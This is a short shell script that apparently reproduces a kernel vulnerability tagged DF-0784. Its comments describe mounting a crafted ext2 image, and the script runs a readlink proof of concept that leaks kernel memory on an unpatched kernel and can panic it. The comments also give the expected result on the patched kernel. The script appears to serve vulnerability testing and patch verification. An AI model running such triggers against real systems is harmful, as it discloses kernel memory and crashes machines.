#!/bin/sh
# DF-0784 run script (runs inside the guest).
#
# Prerequisites (root, one-time per boot):
#   kldload ext2fs
#   scp the crafted image to /root/ext2_patched.img
#   vnconfig -c vn0 /root/ext2_patched.img
#   mount -t ext2fs -o ro /dev/vn0 /mnt
#
# Then as the unprivileged user:
#   ./run.sh
#
# Expected on the UNPATCHED (#0) kernel:
#   readlink returns 4096 bytes from an 18-byte symlink -> leak proven.
#   A larger buffer (e.g. ./readlink_poc /mnt/slink_test 1024) panics
#   the kernel with "vm_fault: fault on stack guard" from
#   ext2_readlink+0x48 -> std_copyout (see panic.txt).
#
# Expected on the PATCHED (fixed ext2fs.ko) kernel:
#   readlink returns -1 errno=22 (EINVAL) -- no leak, no panic.
echo "=== DF-0784 live trigger (4KB buffer: silent leak on #0) ==="
./readlink_poc /mnt/slink_test 4

echo ""
echo "=== DF-0784 deterministic harness (transcribes ext2_readlink arithmetic) ==="
./harness 4